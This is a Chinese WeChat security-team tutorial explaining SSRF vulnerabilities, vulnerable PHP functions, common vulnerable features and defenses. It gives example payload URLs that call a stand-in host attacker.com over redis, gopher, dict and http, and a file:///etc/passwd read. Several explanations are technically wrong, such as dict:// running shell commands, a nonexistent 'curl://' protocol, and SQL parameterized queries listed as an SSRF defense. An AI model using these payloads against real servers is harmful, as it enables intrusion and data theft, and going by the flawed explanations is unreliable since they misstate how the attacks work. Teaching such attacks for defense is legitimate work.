点击关注公众号,知识干货及时送达👇
一、漏洞简介
SSRF(Server-Side Request Forgery,服务端请求伪造)漏洞通常是由于目标应用程序没有正确验证用户提供的输入数据,而导致攻击者可以发送伪造的请求,从而绕过网络防御,获取敏感信息或利用其他漏洞进行进一步攻击。造成ssrf漏洞的主要函数主要有:
file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。readfile():输出一个文件的内容。
fsockopen():打开一个网络连接或者一个Unix 套接字连接。
curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
fopen():打开一个文件文件或者 URL。
二、利用方法
-
探测内部网络
-
利用其他应用程序漏洞
-
发起DDoS攻击
-
利用敏感服务
三、常见SSRF漏洞场景
-
转码服务:当应用程序允许用户提交URL或远程文件进行转码或解码时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL或文件,使应用程序执行未经授权的操作并泄漏敏感信息。 -
在线翻译:当应用程序允许用户输入要翻译的文本并将其发送到远程翻译服务时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,让远程翻译服务将敏感信息发送给攻击者。 -
图片加载与下载:当应用程序允许用户通过URL地址加载或下载图片时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL地址,将图片加载到包含敏感信息的服务器上。 -
图片、文章收藏功能:当应用程序允许用户将图片或文章保存到收藏夹中时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,将图片或文章发送到包含敏感信息的服务器上。 -
网站采集、网页抓取的地方:当应用程序允许用户采集或抓取网页时,可能存在SSRF漏洞。攻击者可以通过构造恶意的请求,将抓取到的网页发送到包含敏感信息的服务器上。 -
头像的地方:当应用程序允许用户上传或远程加载头像时,可能存在SSRF漏洞。攻击者可以通过构造恶意的URL地址,将头像加载到包含恶意代码的服务器上。 -
所有可以输入URL地址或者IP地址的地方都有可能存在SSRF漏洞。攻击者可以通过构造恶意的URL或IP地址,访问应用程序不应该访问的资源。
四、SSRF利用的主要协议
1,Redis协议是一种用于与Redis数据库进行交互的协议。在SSRF攻击中,攻击者可以使用Redis协议来在目标服务器上执行任意命令或读取任意文件。
Redis URL的格式为:
redis://<host>:<port>/<command>
其中,<host>表示Redis服务器的IP地址或主机名,<port>表示Redis服务器的端口号,<command>表示要执行的Redis命令。
例如,下面是一个使用Redis协议进行SSRF攻击的例子:
redis://attacker.com:6379/CONFIG%20SET%20dir%20/etc/nginx/
上面的例子中,攻击者将<host>参数设置为自己的服务器地址,<port>参数设置为6379端口,<command>参数设置为要执行的Redis命令(在这个例子中是CONFIG SET dir /etc/nginx/命令)。当目标服务器访问这个URL时,它将尝试连接到attacker.com的6379端口,并执行Redis命令,将结果返回给攻击者。
2,File协议是一种URI协议,用于在本地文件系统上获取文件内容。在SSRF攻击中,攻击者可以使用File协议来读取目标服务器上的敏感文件,例如/etc/passwd文件等。
File URL的格式为:
file://<path>
其中,<path>表示要访问的文件路径。在SSRF攻击中,攻击者通常会将<path>参数设置为目标服务器上的敏感文件路径,例如/etc/passwd文件等。
例如,下面是一个使用File协议进行SSRF攻击的例子:
file:///etc/passwd
上面的例子中,攻击者将<path>参数设置为/etc/passwd文件路径。当目标服务器访问这个URL时,它将在本地文件系统上查找/etc/passwd文件,并将文件内容返回给攻击者。
3,Gopher URL的格式为:
gopher://<host>:<port>/<gopher-path>
其中,<host>表示Gopher服务器的IP地址或域名,<port>表示Gopher服务器的端口号,<gopher-path>表示Gopher服务器上的文件路径或查询字符串。
在SSRF攻击中,攻击者通常会将Gopher URL中的<host>参数设置为攻击者控制的主机,<port>参数设置为攻击者监听的端口,<gopher-path>参数设置为攻击者想要执行的命令或访问的资源。
例如,下面是一个使用Gopher协议进行SSRF攻击的例子:
gopher://attacker.com:8000/_GET%20/index.php%20HTTP/1.1%0D%0AHost:%20localhost%0D%0A%0D%0A
上面的例子中,攻击者将<host>参数设置为attacker.com,<port>参数设置为8000,<gopher-path>参数设置为执行GET /index.php命令。当目标服务器访问这个URL时,它将向attacker.com的8000端口发送GET /index.php命令,并将结果返回给攻击者。
4,Dict协议是一种URI协议,用于在本地字典文件中查找单词的定义。在SSRF攻击中,攻击者可以使用Dict协议来在目标服务器上执行任意命令或读取任意文件。
Dict URL的格式为:
dict://<host>:<port>/<command>
其中,<host>表示字典服务器的IP地址或主机名,<port>表示字典服务器的端口号,<command>表示要执行的命令或读取的文件名。
例如,下面是一个使用Dict协议进行SSRF攻击的例子:
dict://attacker.com:80/ls%20-la
上面的例子中,攻击者将<host>参数设置为自己的服务器地址,<port>参数设置为80端口,<command>参数设置为要执行的命令(在这个例子中是ls -la命令)。当目标服务器访问这个URL时,它将尝试连接到attacker.com的80端口,并执行ls -la命令,将结果返回给攻击者。
5,在SSRF攻击中,攻击者可以利用http协议进行攻击,从而在目标服务器上执行任意HTTP请求或读取任意文件。攻击者可以使用http协议发起GET或POST请求,以便执行恶意代码或读取敏感数据。
HTTP协议的URL格式如下:
http://<host>:<port>/<path>?<query>
其中,<host>表示要访问的主机名或IP地址,<port>表示端口号,默认为80,<path>表示要请求的资源路径,<query>表示请求参数。
下面是一个使用http协议进行SSRF攻击的例子:
http://example.com:80/admin.php?url=http://attacker.com/evil.php
上面的例子中,攻击者将<host>参数设置为example.com,<port>参数设置为80,<path>参数设置为admin.php,<query>参数设置为url=http://attacker.com/evil.php。当目标服务器访问这个URL时,它将尝试连接到attacker.com的80端口,并请求/evil.php资源,将结果返回给攻击者。
6,Curl协议是一种用于SSRF攻击的常见协议,它允许攻击者利用目标服务器的Curl库,通过网络请求读取和写入文件。攻击者可以使用Curl协议来执行许多有害的操作,例如向外部服务器发送敏感数据、读取和写入本地文件等。
Curl协议的URL格式如下:
curl://<host>:<port>/<path>
其中,<host>表示要访问的主机名或IP地址,<port>表示端口号,默认为80,<path>表示要请求的资源路径。
下面是一个使用Curl协议进行SSRF攻击的例子:
curl://attacker.com:80/evil.php
上面的例子中,攻击者将<host>参数设置为attacker.com,<port>参数设置为80,<path>参数设置为/evil.php。当目标服务器访问这个URL时,它将尝试使用Curl协议连接到attacker.com的80端口,并请求/evil.php资源,将结果返回给攻击者。
五、防御措施
对用户输入进行验证和过滤:应该对所有输入参数进行验证和过滤,包括URL、表单数据、HTTP头部等。 使用白名单限制网络访问:应该使用白名单来限制所有可能的网络访问,只允许应用程序所需的最小限度的网络访问。 使用参数化查询:在处理用户输入时,应该使用参数化查询,避免拼接SQL查询语句,从而避免SQL注入攻击。 使用沙箱:将应用程序隔离在一个沙箱中,限制其对系统资源的访问,从而减少攻击面。 更新和修复漏洞:定期更新应用程序和操作系统,包括所有的安全补丁和漏洞修复。 启用网络访问控制:通过网络访问控制(NAC)等技术来防止SSRF攻击。 禁用危险的协议和功能:例如,禁用file://、gopher://等协议,以及禁用内部地址、私有地址等功能。
强化安全意识教育:加强安全意识教育,使用户知晓SSRF攻击的危害性,注意保护自己的信息。
- End -
点击下方名片,关注我们 觉得内容不错,就点下“赞”和“在看” 如果不想错过新的内容推送,可以设为星标 哦
原文始发于微信公众号(赤弋安全团队):【漏洞浅谈】SSRF详解
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论